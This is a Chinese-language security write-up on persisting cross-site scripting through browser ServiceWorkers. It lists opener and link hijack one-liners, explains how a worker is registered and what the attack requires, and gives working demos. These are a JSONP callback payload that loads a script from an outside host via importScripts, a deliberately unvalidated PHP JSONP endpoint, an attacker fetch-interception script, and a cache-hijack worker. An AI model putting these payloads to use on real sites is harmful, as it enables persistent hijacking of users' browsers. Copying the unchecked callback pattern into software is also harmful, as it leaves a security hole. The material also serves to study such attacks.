XSS with ServiceWorkers
持久化 XSS 的常见姿势有
前述
持久化 XSS 的常见姿势有
- with CSRF Inject
- opener hijack
window.opener.location="javascript:alert('Xss')";void(0);- link hijack
for (i = 0; i < document.links.length; i++) { document.links[i].οnclick = function () { x = window.open(this.href); setTimeout(function () { try { x.location = "javascript: alert('Xss')" } catch (e) {}; return false; }, 3000); return false; }};void(0);- HTTP cache hijack (需要配合 CSRF)
- with Service Workers
简介
Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript
作用
- 监听、篡改 - 请求、响应
- 升级反射 XSS 到存储型
- 持久性控制
快速查看
chrome://serviceworker-internals或

注册方式
- script
<script> navigator.serviceWorker.register("/payload.js");</script>- link 未成功
<link rel="serviceworker" href="/payload.js" scope="/">- header
# Response - HeaderLink: </sw.js>; rel="serviceworker"; scope="/"利用环境
-
必须为
HTTPs,哪怕证书过期 -
ServiceWorker 文件可控
-
XSS
- 可以尝试直接注册 SW
- 配合跨目录上传,注册根部 sw 文件
-
JsonP 利用跨域传输payload
-
Cache 缓存
-
注意
- 注册时,文件路径决定可影响范围,所以越接近 web 根越好;若在根部,则影响整个域下事件
- 利用 jsonp 时,JsonP Content-Type需返回为
text/javascript或application/x-javascript或application/javascript; - 需要 xss 插入 payload
Demo
i. JsonP
// server side -> xss-attack.html<script type="text/javascript">var url = "1.php?callback=importScripts('//blog.sari3l.com/sec.js')//1";if ('serviceWorker' in navigator) { navigator.serviceWorker.register(url) .then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); })};</script>
// server side -> jsonp-bug.html// 根据实际 jsonp 利用修改上面 xss 攻击 payload<?php// JSONP 回调名缺少校验$cb_name = $_GET['callback'];$cb_data = time();
header('Content-Type: application/javascript');echo("$cb_name($cb_data)");
// attacker side -> sec.jsonfetch = e => { body = '<script>alert(document.domain)</script>'; init = { headers: { 'content-type': 'text/html' } }; e.respondWith(new Response(body, init));}
ii. Cache
如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。
下面是一个缓存读取/判断的demo
// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))self.addEventListener('fetch', function(event) { event.respondWith( //console.log(event.request) caches.match(event.request).then(function(res) { if (res) { //如果有缓存则使用缓存 return res; } return requestBackend(event); //没缓存就进行缓存 }) )});
function requestBackend(event) { var url = event.request.clone(); console.log(url) //打印内容是打印到请求页面 if (url.url == 'http://localhost/reurl.html') { //判断是否为需要劫持的资源
return new Response("<script>alert(1)</script>", { headers: { 'Content-Type': 'text/html' } }) } return fetch(url).then(function(res) { //检测是否为有效响应 if (!res || res.status !== 200 || res.type !== 'basic') { return res; } var response = res.clone(); caches.open('v1').then(function(cache) { //打开v1缓存进行存储 cache.put(event.request, response); });
return res; })}